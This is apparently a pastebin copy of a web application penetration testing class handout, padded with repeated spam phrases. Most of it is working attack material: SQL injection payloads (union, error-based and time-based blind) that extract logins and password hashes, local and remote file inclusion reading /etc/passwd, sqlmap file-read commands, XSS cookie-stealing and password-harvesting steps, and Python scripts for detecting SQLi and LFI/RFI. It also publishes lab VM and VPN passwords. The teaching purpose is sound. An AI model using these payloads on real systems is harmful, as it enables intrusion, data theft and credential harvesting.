web app pentester night school ########################################### # Advanced Web App Pentester Night School # ########################################### ######################### # Class Virtual Machine # web app pentester night school PasteShr web app pentester night school ######################### Here is the VMWare virtual machine for the class: https://s3.amazonaws.com/infosecaddictsvirtualmachines/InfoSecAddictsVM.zip user: infosecaddicts pass: infosecaddicts web app pentester night school How to dowload it? web app pentester night school Let's have you connect to the VPN. I wanted to make sure that I did some of the stuff on my local virtual machines because I want you to do the hunting for vulnerable hosts to attack. If I attack the live targets in the lab then I'll end up giving away a lot of the little secrets that I want you to discover. So, let's start with some lab fun (just a little bit)...lol. Here are the instructions for connecting to the VPN: https://s3.amazonaws.com/infosecaddictsfiles/Strategic-Security-2017-VPN-Info.pdf vpn username: {first_initial.last_name} example: j.mccray vpn password: !@#$vpn4321VPN web app pentester night school How to dowload it? web app pentester night school If you wants some scanning tips you should take a look at the following document: https://s3.amazonaws.com/infosecaddictsfiles/LabNetworkScanningV4.pdf ####################### # Attacking PHP/MySQL # ####################### web app pentester night school How to use it? web app pentester night school Go to LAMP Target homepage in Firefox ---------------------------Paste this into Firefox----------------------------------- http://45.63.104.73/ ------------------------------------------------------------------------------------- Clicking on the Acer Link will take you to this page: ---------------------------Paste this into Firefox----------------------------------- http://45.63.104.73/acre2.php?lap=acer web app pentester night school PasteShr web app pentester night school ------------------------------------------------------------------------------------- - Found parameter passing (answer yes to question 1) - Insert ' to test for SQLI ---------------------------Paste this into Firefox----------------------------------- http://45.63.104.73/acre2.php?lap=acer' ------------------------------------------------------------------------------------- web app pentester night school How to get it? web app pentester night school Page returns the following error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''acer''' at line 1 In order to perform union-based sql injection - we must first determine the number of columns in this query. We do this using the ORDER BY ---------------------------Paste this into Firefox----------------------------------- http://45.63.104.73/acre2.php?lap=acer' order by 100-- + ------------------------------------------------------------------------------------- web app pentester night school How to use it? web app pentester night school Page returns the following error: Unknown column '100' in 'order clause' ---------------------------Paste this into Firefox----------------------------------- http://45.63.104.73/acre2.php?lap=acer' order by 50-- + ------------------------------------------------------------------------------------- Page returns the following error: Unknown column '50' in 'order clause' web app pentester night school PasteShr web app pentester night school ---------------------------Paste this into Firefox----------------------------------- http://45.63.104.73/acre2.php?lap=acer' order by 25-- + ------------------------------------------------------------------------------------- Page returns the following error: Unknown column '25' in 'order clause' ---------------------------Paste this into Firefox----------------------------------- http://45.63.104.73/acre2.php?lap=acer' order by 12-- + web app pentester night school How to use it? web app pentester night school ------------------------------------------------------------------------------------- Page returns the following error: Unknown column '50' in 'order clause' ---------------------------Paste this into Firefox----------------------------------- http://45.63.104.73/acre2.php?lap=acer' order by 6-- + ------------------------------------------------------------------------------------- ---Valid page returned for 5 and 6...error on 7 so we know there are 6 columns web app pentester night school How to get it for free? web app pentester night school Now we build out the union all select statement with the correct number of columns Reference: http://www.techonthenet.com/sql/union.php ---------------------------Paste this into Firefox----------------------------------- http://45.63.104.73/acre2.php?lap=acer' union all select 1,2,3,4,5,6-- + web app pentester night school How to get it for free? web app pentester night school ------------------------------------------------------------------------------------- Now we negate the parameter value 'acer' by turning into the word 'null': ---------------------------Paste this into Firefox----------------------------------- http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,4,5,6-- j ------------------------------------------------------------------------------------- We see that a 4 and a 5 are on the screen. These are the columns that will echo back data web app pentester night school How to dowload it? web app pentester night school Use a cheat sheet for syntax: http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet ---------------------------Paste each of the lines below into Firefox----------------------------------- http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),5,6-- j http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),version(),6-- j web app pentester night school PasteShr web app pentester night school http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),@@version,6-- + http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),@@datadir,6-- + http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user,password,6 from mysql.user -- a ------------------------------------------------------------------------------------- web app pentester night school How to get it for free? web app pentester night school ######################## # Question I get a lot # ######################## Sometimes students ask about the "-- j" or "-- +" that I append to SQL injection attack string. Here is a good reference for it: https://www.symantec.com/connect/blogs/mysql-injection-comments-comments Both attackers and penetration testers alike often forget that MySQL comments deviate from the standard ANSI SQL specification. The double-dash comment syntax was first supported in MySQL 3.23.3. However, in MySQL a double-dash comment "requires the second dash to be followed by at least one whitespace or control character (such as a space, tab, newline, and so on)." This double-dash comment syntax deviation is intended to prevent complications that might arise from the subtraction of negative numbers within SQL queries. Therefore, the classic SQL injection exploit string will not work against backend MySQL databases because the double-dash will be immediately followed by a terminating single quote appended by the web application. However, in most cases a trailing space needs to be appended to the classic SQL exploit string. For the sake of clarity we'll append a trailing space and either a "+" or a letter. web app pentester night school How to get it? web app pentester night school Here we see parameter passing, but this one is actually a yes to question number 3 (reference a file) ---------------------------Paste this into Firefox----------------------------------- http://45.63.104.73/showfile.php?filename=about.txt ------------------------------------------------------------------------------------- See if you can read files on the file system: web app pentester night school How to get it? web app pentester night school ---------------------------Paste this into Firefox----------------------------------- http://45.63.104.73/showfile.php?filename=/etc/passwd ------------------------------------------------------------------------------------- We call this attack a Local File Include or LFI. Now let's find some text out on the internet somewhere: ---------------------------Paste this into Firefox----------------------------------- https://raw.githubusercontent.com/gruntjs/grunt-contrib-connect/master/test/fixtures/hello.txt ------------------------------------------------------------------------------------- web app pentester night school How to get it? web app pentester night school Now let's append that URL to our LFI and instead of it being Local - it is now a Remote File Include or RFI: ---------------------------Paste this into Firefox----------------------------------- http://45.63.104.73/showfile.php?filename=https://raw.githubusercontent.com/gruntjs/grunt-contrib-connect/master/test/fixtures/hello.txt ------------------------------------------------------------------------------------- -----------------Some Automated Testing from the infosecaddicts VM----------------- ################################################## # You can download the virtual machine from here # web app pentester night school How to get it? web app pentester night school ################################################## https://s3.amazonaws.com/infosecaddictsvirtualmachines/InfoSecAddictsVM.zip user: infosecaddicts pass: infosecaddicts -------------------------Type each of these commands--------------------------------- cd ~/toolz/sqlmap-dev/ python sqlmap.py -u "http://45.63.104.73/acre2.php?lap=acer" -b -v 3 web app pentester night school How to get it? web app pentester night school python sqlmap.py -u "http://45.63.104.73/acre2.php?lap=acer" --current-user -v 3 python sqlmap.py -u "http://45.63.104.73/acre2.php?lap=acer" --current-db -v 3 python sqlmap.py -u "http://45.63.104.73/acre2.php?lap=acer" --privileges -v 3 web app pentester night school How to get it? web app pentester night school python sqlmap.py -u "http://45.63.104.73/acre2.php?lap=acer" --dbs -v 3 python sqlmap.py -u "http://45.63.104.73/acre2.php?lap=acer" --tables -v 3 python sqlmap.py -u "http://45.63.104.73/acre2.php?lap=acer" --file-read=/etc/issue -v 3 web app pentester night school How to use it? web app pentester night school python sqlmap.py -u "http://45.63.104.73/acre2.php?lap=acer" --file-read=/etc/passwd -v 3 ------------------------------------------------------------------------------------- ############################# # Error-Based SQL Injection # ############################# ---------------------------Paste each of the lines below into Firefox----------------------------------- web app pentester night school How to get it? web app pentester night school http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(0))-- http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(1))-- http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(2))-- http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(3))-- http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(4))-- http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(N))-- NOTE: "N" - just means to keep going until you run out of databases http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85))-- http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'bookmaster')-- http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'sysdiagrams')-- ------------------------------------------------------------------------------------- web app pentester night school How to get it? web app pentester night school ############################# # Union-Based SQL Injection # ############################# ---------------------------Paste each of the lines below into Firefox----------------------------------- http://45.77.162.239/bookdetail.aspx?id=2 order by 100-- http://45.77.162.239/bookdetail.aspx?id=2 order by 50-- http://45.77.162.239/bookdetail.aspx?id=2 order by 25-- web app pentester night school How to dowload it? web app pentester night school http://45.77.162.239/bookdetail.aspx?id=2 order by 10-- http://45.77.162.239/bookdetail.aspx?id=2 order by 5-- http://45.77.162.239/bookdetail.aspx?id=2 order by 6-- http://45.77.162.239/bookdetail.aspx?id=2 order by 7-- http://45.77.162.239/bookdetail.aspx?id=2 order by 8-- http://45.77.162.239/bookdetail.aspx?id=2 order by 9-- http://45.77.162.239/bookdetail.aspx?id=2 union all select 1,2,3,4,5,6,7,8,9-- ------------------------------------------------------------------------------------- We are using a union select statement because we are joining the developer's query with one of our own. Reference: web app pentester night school How to get it for free? web app pentester night school http://www.techonthenet.com/sql/union.php The SQL UNION operator is used to combine the result sets of 2 or more SELECT statements. It removes duplicate rows between the various SELECT statements. Each SELECT statement within the UNION must have the same number of fields in the result sets with similar data types. ---------------------------Paste this into Firefox----------------------------------- http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,2,3,4,5,6,7,8,9-- ------------------------------------------------------------------------------------- Negating the paramter value (changing the id=2 to id=-2) will force the pages that will echo back data to be displayed. web app pentester night school How to use it? web app pentester night school ---------------------------Paste each of the lines below into Firefox----------------------------------- http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,4,5,6,7,8,9-- http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,7,8,9-- http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,db_name(0),8,9-- http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,master.sys.fn_varbintohexstr(password_hash),8,9 from master.sys.sql_logins-- ------------------------------------------------------------------------------------- web app pentester night school How to dowload it? web app pentester night school - Another way is to see if you can get the backend to perform an arithmetic function ---------------------------Paste each of the lines below into Firefox----------------------------------- http://45.77.162.239/bookdetail.aspx?id=(2) http://45.77.162.239/bookdetail.aspx?id=(4-2) http://45.77.162.239/bookdetail.aspx?id=(4-1) ------------------------------------------------------------------------------------- ---------------------------Paste each of the lines below into Firefox----------------------------------- http://45.77.162.239/bookdetail.aspx?id=2 or 1=1-- web app pentester night school How to dowload it? web app pentester night school http://45.77.162.239/bookdetail.aspx?id=2 or 1=2-- http://45.77.162.239/bookdetail.aspx?id=1*1 http://45.77.162.239/bookdetail.aspx?id=2 or 1 >-1# http://45.77.162.239/bookdetail.aspx?id=2 or 1<99# http://45.77.162.239/bookdetail.aspx?id=2 or 1<>1# http://45.77.162.239/bookdetail.aspx?id=2 or 2 != 3-- http://45.77.162.239/bookdetail.aspx?id=2 &0# ------------------------------------------------------------------------------------- web app pentester night school How to get it for free? web app pentester night school ############################### # Blind SQL Injection Testing # ############################### Time-Based BLIND SQL INJECTION - EXTRACT DATABASE USER 3 - Total Characters ---------------------------Paste each of the lines below into Firefox----------------------------------- http://45.77.162.239/bookdetail.aspx?id=2; IF (LEN(USER)=1) WAITFOR DELAY '00:00:10'-- web app pentester night school How to dowload it? web app pentester night school http://45.77.162.239/bookdetail.aspx?id=2; IF (LEN(USER)=2) WAITFOR DELAY '00:00:10'-- http://45.77.162.239/bookdetail.aspx?id=2; IF (LEN(USER)=3) WAITFOR DELAY '00:00:10'-- (Ok, the username is 3 chars long - it waited 10 seconds) ------------------------------------------------------------------------------------- Let's go for a quick check to see if it's DBO http://45.77.162.239/bookdetail.aspx?id=2; IF ((USER)='dbo') WAITFOR DELAY '00:00:10'-- Yup, it waited 10 seconds so we know the username is 'dbo' - let's give you the syntax to verify it just for fun. D - 1st Character ---------------------------Paste each of the lines below into Firefox----------------------------------- web app pentester night school PasteShr web app pentester night school http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=97) WAITFOR DELAY '00:00:10'-- http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=98) WAITFOR DELAY '00:00:10'-- http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=99) WAITFOR DELAY '00:00:10'-- http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=100) WAITFOR DELAY '00:00:10'-- (Ok, first letter is a 100 which is the letter 'd' - it waited 10 seconds) ------------------------------------------------------------------------------------- B - 2nd Character ---------------------------Paste each of the lines below into Firefox----------------------------------- http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))>97) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))=98) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds web app pentester night school How to use it? web app pentester night school ------------------------------------------------------------------------------------- O - 3rd Character ---------------------------Paste each of the lines below into Firefox----------------------------------- http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>97) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>115) WAITFOR DELAY '00:00:10'-- http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>105) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>110) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=109) WAITFOR DELAY '00:00:10'-- http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=110) WAITFOR DELAY '00:00:10'-- web app pentester night school How to dowload it? web app pentester night school http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=111) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds ------------------------------------------------------------------------------------- ************************ Class Homework ************************ Perform a mock penetration test against http://45.63.104.73 using what you have learned in this pastebin. You don't need to document it for me, but go through the steps for your own understanding. web app pentester night school PasteShr web app pentester night school ************************ Class Challenge ************************ Let's see how you do with someone else's vulnerable website. Your 1st target is: http://zero.webappsecurity.com Here are some sample web app penetration test reports from other companies that you can look at: web app pentester night school PasteShr web app pentester night school https://s3.amazonaws.com/infosecaddicts-Files/WebAppSampleReports.zip I want you to perform a penetration test against http://zero.webappsecurity.com and document the engagement as if it were a real project. ############################################################################### # What is XSS # # https://s3.amazonaws.com/infosecaddictsfiles/2-Intro_To_XSS.pptx # ############################################################################### web app pentester night school How to get it for free? web app pentester night school OK - what is Cross Site Scripting (XSS) 1. Use Firefox to browse to the following location: ---------------------------Paste this into Firefox----------------------------------- http://45.63.104.73/xss_practice/ ------------------------------------------------------------------------------------- A really simple search page that is vulnerable should come up. web app pentester night school PasteShr web app pentester night school 2. In the search box type: This should pop-up an alert window with your message in it proving XSS is in fact possible. Ok, click OK and then click back and go back to http://45.63.104.73/xss_practice/ web app pentester night school PasteShr web app pentester night school 3. In the search box type: This should pop-up an alert window with your message in it proving XSS is in fact possible and your cookie can be accessed. Ok, click OK and then click back and go back to http://45.63.104.73/xss_practice/ 4. Now replace that alert script with: web app pentester night school PasteShr web app pentester night school This will actually pass your cookie to the cookie catcher that we have sitting on the webserver. 5. Now view the stolen cookie at: ---------------------------Paste this into Firefox----------------------------------- http://45.63.104.73/xss_practice/cookie_stealer_logs.html ------------------------------------------------------------------------------------- web app pentester night school How to get it for free? web app pentester night school The cookie catcher writes to this file and all we have to do is make sure that it has permissions to be written to. ############################ # A Better Way To Demo XSS # web app pentester night school How to use it? web app pentester night school ############################ Let's take this to the next level. We can modify this attack to include some username/password collection. Paste all of this into the search box. Use Firefox to browse to the following location: ---------------------------Paste this into Firefox----------------------------------- http://45.63.104.73/xss_practice/ ------------------------------------------------------------------------------------- web app pentester night school How to get it? web app pentester night school Paste this in the search box ---------------------------- Now view the stolen cookie at: ---------------------------Paste this into Firefox----------------------------------- http://45.63.104.73/xss_practice/passwords.html ------------------------------------------------------------------------------------- web app pentester night school How to dowload it? web app pentester night school ############################################################### # Question 1: What is the process that you use when you test? # ############################################################### Step 1: Automated Testing Step 1a: Web Application vulnerability scanners ----------------------------------------------- - Run two (2) unauthenticated vulnerability scans against the target - Run two (2) authenticated vulnerability scans against the target with low-level user credentials web app pentester night school How to use it? web app pentester night school - Run two (2) authenticated vulnerability scans against the target with admin privileges The web application vulnerability scanners that I use for this process are (HP Web Inspect, and Acunetix). A good web application vulnerability scanner comparison website is here: http://sectoolmarket.com/price-and-feature-comparison-of-web-application-scanners-unified-list.html Look to see if there are cases where both scanners identify the same vulnerability. Investigate these cases thoroughly, ensure that it is NOT a false positive, and report the issue. web app pentester night school PasteShr web app pentester night school When you run into cases where one (1) scanner identifies a vulnerability that the other scanner does not you should still investigate these cases thoroughly, ensure that it is NOT a false positive, and report the issue. Be sure to look for scans that take more than 3 or 4 hours as your scanner may have lost its active session and is probably not actually finding real vulnerabilities anymore. Also, be sure to save the scan results and logs. I usually provide this data to the customer. web app pentester night school How to use it? web app pentester night school Step 1b: Directory Brute Forcer ------------------------------- I like to run DirBuster or a similar tool. This is great to find hidden gems (backups of the website, information leakage, unreferenced files, dev sites, etc). Step 2: Manual Testing Try to do this step while your automated scans are running. Use Burp Suite or the Tamper Data Firefox extension to browse EVERY PAGE of the website (if this is realistic). web app pentester night school How to get it for free? web app pentester night school Step 2a: Spider/Scan the entire site with Burp Suite Save the spider and scan results. I usually provide this data to the customer as well. Step 2b: Browse through the site using the 3 question method Have Burp Suite on with intercept turned off. Browse the website using the 3 question method that I've taught you in the past. When you find a place in the site where the answer to one of the 3 questions is yes - be sure to look at that individual web request in the target section of Burp Suite, right-click on that particular request and choose 'Send to Intruder'. Take the appropriate fuzz list from https://github.com/fuzzdb-project/fuzzdb/ and load it into Intruder. A quick tip for each individual payload is to be sure to send the payload both with and without the parameter value. Here is what I mean: web app pentester night school How to dowload it? web app pentester night school http://www.site.com/page.aspx?parametername=parametervalue When you are looking at an individual request - often times Burp Suite will insert the payload in place of the parameter value like this: http://www.site.com/page.aspx?parametername=[ payload ] You need to ensure that you send the payload this way, and like this below: http://www.site.com/page.aspx?parametername=parametervalue[ payload ] web app pentester night school How to use it? web app pentester night school This little hint will pay huge dividends in actually EXPLOITING the vulnerabilities you find instead of just identifying them. ########################################### # Question 2: How much fuzzing is enough? # web app pentester night school How to get it? web app pentester night school ########################################### There really is no exact science for determining the correct amount of fuzzing per parameter to do before moving on to something else. Here are the steps that I follow when I'm testing (my mental decision tree) to figure out how much fuzzing to do. Step 1: Ask yourself the 3 questions per page of the site. Step 2: If the answer is yes, then go down that particular attack path with a few fuzz strings (I usually do 10-20 fuzz strings per parameter) web app pentester night school How to get it? web app pentester night school Step 3: When you load your fuzz strings - use the following decision tree - Are the fuzz strings causing a default error message (example 404)? - If this is the case then it is most likely NOT vulnerable - Are the fuzz strings causing a WAF or LB custom error message? - If this is the case then you need to find an encoding method to bypass - Are the fuzz strings causing an error message that discloses the backend type? web app pentester night school How to get it? web app pentester night school - If yes, then identify DB type and find correct syntax to successfully exploit - Some example strings that I use are: ' " () <----- Take the parameter value and put it in parenthesis (5-1) <----- See if you can perform an arithmetic function - Are the fuzz strings rendering executable code? - If yes, then report XSS/CSRF/Response Splitting/Request Smuggling/etc web app pentester night school PasteShr web app pentester night school - Some example strings that I use are: hello hello web app pentester night school How to get it for free? web app pentester night school ------------------------------------------------------------------------------------------- ############################ # Web App Scripting Basics # ############################ web app pentester night school How to dowload it? web app pentester night school 1. Simple LFI/RFI ----------------- vi lfi-rfi.py -------------------------------- #!/usr/bin/env python print "\n### PHP LFI/RFI Detector ###" web app pentester night school How to get it? web app pentester night school # urllib2 is a Python module that can be used for fetching URLs. It defines functions and classes to help with URL actions (basic and digest authentication, redirections, cookies, etc) The magic starts with importing the urllib2 module. # The module re provides full support for Perl-like regular expressions in Python # The module sys contains System-specific parameters and functions import urllib2,re,sys web app pentester night school How to use it? web app pentester night school TARGET = "http://45.63.104.73/showfile.php?filename=about.txt" RFIVULN = "https://raw.githubusercontent.com/gruntjs/grunt-contrib-connect/master/test/fixtures/hello.txt?" TravLimit = 12 print "==> Testing for LFI vulns.." TARGET = TARGET.split("=")[0]+"=" ## URL MANUPLIATION for x in xrange(1,TravLimit): ## ITERATE THROUGH THE LOOP TARGET += "../" try: source = urllib2.urlopen((TARGET+"etc/passwd")).read() ## WEB REQUEST web app pentester night school How to dowload it? web app pentester night school except urllib2.URLError, e: print "$$$ We had an Error:",e sys.exit(0) if re.search("root:x:0:0:",source): ## SEARCH FOR TEXT IN SOURCE print "!! ==> LFI Found:",TARGET+"etc/passwd" break ## BREAK LOOP WHEN VULN FOUND print "\n==> Testing for RFI vulns.." TARGET = TARGET.split("=")[0]+"="+RFIVULN ## URL MANUPLIATION try: web app pentester night school How to use it? web app pentester night school source = urllib2.urlopen(TARGET).read() ## WEB REQUEST except urllib2.URLError, e: print "$$$ We had an Error:",e sys.exit(0) if re.search("Hello world",source): ## SEARCH FOR TEXT IN SOURCE print "!! => RFI Found:",TARGET print "\nScan Complete\n" ## DONE -------------------------------- web app pentester night school How to get it? web app pentester night school 2. Simple SQL Injection ----------------------- vi sqli.py -------------------------------- #!/usr/bin/env python web app pentester night school How to get it for free? web app pentester night school print "\n### PHP SQLi Detector ###" import urllib2,re,sys TARGET = "http://45.63.104.73/acre2.php?lap=acer" SQLi = "%27" SQLiError = "You have an error in your SQL" myNameInHex = "0x6a6f65" myName = 'joe' web app pentester night school How to use it? web app pentester night school print "==> Testing for SQLi Error Vuln..." URL = TARGET+SQLi try: source = urllib2.urlopen(URL).read() ## WEB REQUEST except urllib2.URLError, e: print "$$$ We had an Error\n",e sys.exit(0) if re.search(SQLiError,source): ## SEARCH FOR ERROR IN PAGE print "!! ==> SQLi Found:",TARGET+SQLi print "## ==> Bruting NULL column...", web app pentester night school How to dowload it? web app pentester night school URL = TARGET+SQLi+"%20UNION%20SELECT%20"+myNameInHex ## BUILD OUR SQLi STATEMENT for x in xrange(1,10): if x > 1: URL = URL+"," URL = URL+myNameInHex print x, print URL try: source = urllib2.urlopen((URL+"--%20j")).read() ## WEB REQUEST except urllib2.URLError, e: web app pentester night school How to dowload it? web app pentester night school print "$$$ We had an Error\n",e sys.exit(0) if re.search(myName, source): ## SEARCH FOR UNENCODED NULL WORD print "\n!! ==> Null Column Found:",URL+"--" break else: print "** ==> No SQLi Found!" print "\nScan Complete\n" -------------------------------- web app pentester night school